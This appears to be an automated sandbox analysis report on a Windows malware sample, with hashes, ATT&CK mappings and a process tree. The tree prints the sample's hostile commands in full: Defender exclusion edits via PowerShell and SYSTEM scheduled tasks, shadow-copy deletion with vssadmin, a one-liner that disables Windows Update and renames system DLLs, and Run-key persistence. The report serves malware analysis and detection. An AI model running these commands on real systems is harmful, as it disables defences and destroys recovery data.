b3d11a625cf7077902d170a66e6af767183105261439f3d28d31440dc53362de

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/09/2026, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Size 25.4MB
Sample260907-e4vwaswzhz
SHA256 b3d11a625cf7077902d170a66e6af767183105261439f3d28d31440dc53362de
MD5 41575629c0f89b384500b3de7c244f7a
SHA1 17868b0fc72f297294ba62472b132144de949c2d
SHA512 d89914ce13d5919010caeaad3a2ccc034721356f5b6a14f795ed75f9e19e48e8c89de8b15c8c9a50eedf49560a064e40d3f9d9bdd1969194e5a809ef6d31d846
SSDEEP 49152:JKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46g:YjAIMaQi7kmeHh2yeH7rkfvVsX+Nw
TLSH
T18A47E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/3004-701-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 6 IoCs

resource	yara_rule
behavioral2/memory/3004-684-0x0000000003900000-0x00000000040DD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3004-687-0x0000000003900000-0x00000000040DD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3004-695-0x0000000003900000-0x00000000040DD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3004-702-0x0000000003900000-0x00000000040DD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3004-728-0x0000000003900000-0x00000000040DD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3004-729-0x0000000003900000-0x00000000040DD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2088	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1692	5oUAFm.exe
1812	5oUAFm.exe

Loads dropped DLL 2 IoCs

pid	Process
1692	5oUAFm.exe
1812	5oUAFm.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3264	icacls.exe
5072	icacls.exe
3888	icacls.exe
4800	icacls.exe
4688	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\6k2F9b\\5oUAFm.exe\""	5oUAFm.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4300	cmd.exe
2180	cmd.exe
5472	cmd.exe
1300	cmd.exe
4408	cmd.exe
5444	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	5oUAFm.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\8wdZTb\thumbs.db	5oUAFm.exe
File opened for modification	C:\Program Files (x86)\8wdZTb\8wdZTb.exe	5oUAFm.exe
File opened for modification	C:\Program Files (x86)\8wdZTb\XPSPLOG.dll	5oUAFm.exe
File created	C:\Program Files (x86)\8wdZTb\XPSPLOG.dll	5oUAFm.exe
File opened for modification	C:\Program Files (x86)\8wdZTb\image.png	5oUAFm.exe
File opened for modification	C:\Program Files (x86)\8wdZTb\thumbs.db	5oUAFm.exe
File opened for modification	C:\Program Files (x86)\8wdZTb	5oUAFm.exe
File created	C:\Program Files (x86)\8wdZTb\8wdZTb.exe	5oUAFm.exe
File created	C:\Program Files (x86)\8wdZTb\image.png	5oUAFm.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3524	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5888	cmd.exe
3140	cmd.exe
4368	cmd.exe
4164	cmd.exe
3340	cmd.exe
4004	cmd.exe
5172	cmd.exe
4288	cmd.exe
5116	cmd.exe
2320	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2080	schtasks.exe
5412	schtasks.exe
3820	schtasks.exe
1608	schtasks.exe
4456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
6108	2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe
1692	5oUAFm.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeIncreaseQuotaPrivilege	2088	powershell.exe
Token: SeSecurityPrivilege	2088	powershell.exe
Token: SeTakeOwnershipPrivilege	2088	powershell.exe
Token: SeLoadDriverPrivilege	2088	powershell.exe
Token: SeSystemProfilePrivilege	2088	powershell.exe
Token: SeSystemtimePrivilege	2088	powershell.exe
Token: SeProfSingleProcessPrivilege	2088	powershell.exe
Token: SeIncBasePriorityPrivilege	2088	powershell.exe
Token: SeCreatePagefilePrivilege	2088	powershell.exe
Token: SeBackupPrivilege	2088	powershell.exe
Token: SeRestorePrivilege	2088	powershell.exe
Token: SeShutdownPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeSystemEnvironmentPrivilege	2088	powershell.exe
Token: SeRemoteShutdownPrivilege	2088	powershell.exe
Token: SeUndockPrivilege	2088	powershell.exe
Token: SeManageVolumePrivilege	2088	powershell.exe
Token: 33	2088	powershell.exe
Token: 34	2088	powershell.exe
Token: 35	2088	powershell.exe
Token: 36	2088	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2088	1692	5oUAFm.exe	91
PID 1692 wrote to memory of 5444	1692	5oUAFm.exe	93
PID 1692 wrote to memory of 4300	1692	5oUAFm.exe	96
PID 5444 wrote to memory of 2080	5444	cmd.exe	98
PID 4300 wrote to memory of 5412	4300	cmd.exe	100
PID 5444 wrote to memory of 3524	5444	cmd.exe	101
PID 4300 wrote to memory of 3432	4300	cmd.exe	103
PID 5444 wrote to memory of 2328	5444	cmd.exe	105
PID 1692 wrote to memory of 2180	1692	5oUAFm.exe	106
PID 1692 wrote to memory of 5472	1692	5oUAFm.exe	109
PID 4300 wrote to memory of 3356	4300	cmd.exe	110
PID 2180 wrote to memory of 3820	2180	cmd.exe	112
PID 5472 wrote to memory of 1608	5472	cmd.exe	113
PID 2180 wrote to memory of 4552	2180	cmd.exe	114
PID 5472 wrote to memory of 3872	5472	cmd.exe	116
PID 1692 wrote to memory of 1300	1692	5oUAFm.exe	117
PID 5472 wrote to memory of 5348	5472	cmd.exe	119
PID 2180 wrote to memory of 2292	2180	cmd.exe	120
PID 1300 wrote to memory of 4456	1300	cmd.exe	121
PID 1300 wrote to memory of 1744	1300	cmd.exe	123
PID 1300 wrote to memory of 4468	1300	cmd.exe	127
PID 4288 wrote to memory of 5260	4288	cmd.exe	129
PID 5888 wrote to memory of 3668	5888	cmd.exe	130
PID 5172 wrote to memory of 3584	5172	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-06_41575629c0f89b384500b3de7c244f7a_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:6108

C:\Users\Public\6k2F9b\5oUAFm.exe
"C:\Users\Public\6k2F9b\5oUAFm.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6k2F9b\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6k2F9b\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3524
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4468
- C:\Program Files (x86)\8wdZTb\8wdZTb.exe
  "C:\Program Files (x86)\8wdZTb\8wdZTb.exe"
  2⤵
  PID:3004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\8wdZTb" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5116
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\8wdZTb" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4800
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4368
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4164
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\8wdZTb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\8wdZTb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4004
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\8wdZTb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4408

C:\Users\Public\6k2F9b\5oUAFm.exe
"C:\Users\Public\6k2F9b\5oUAFm.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1812

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5172
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3584

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1156

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5888
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3668

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5260

C:\Program Files (x86)\8wdZTb\8wdZTb.exe
"C:\Program Files (x86)\8wdZTb\8wdZTb.exe"
1⤵
PID:1084

C:\Program Files (x86)\8wdZTb\8wdZTb.exe
"C:\Program Files (x86)\8wdZTb\8wdZTb.exe"
1⤵
PID:1284

C:\Program Files (x86)\pM1K1N50\GADo14Bs.exe
"C:\Program Files (x86)\pM1K1N50\GADo14Bs.exe"
1⤵
PID:4320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wuauserv
1⤵
PID:6100

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\8wdZTb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
1⤵
- Modifies file permissions
PID:3264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UsoSvc
1⤵
PID:2184

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\8wdZTb\8wdZTb.exe" /inheritance:r
1⤵
- Modifies file permissions
PID:5072

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\8wdZTb\8wdZTb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:3888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop uhssvc
1⤵
PID:5928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8wdZTb.exe

Path C:\Program Files (x86)\8wdZTb\8wdZTb.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
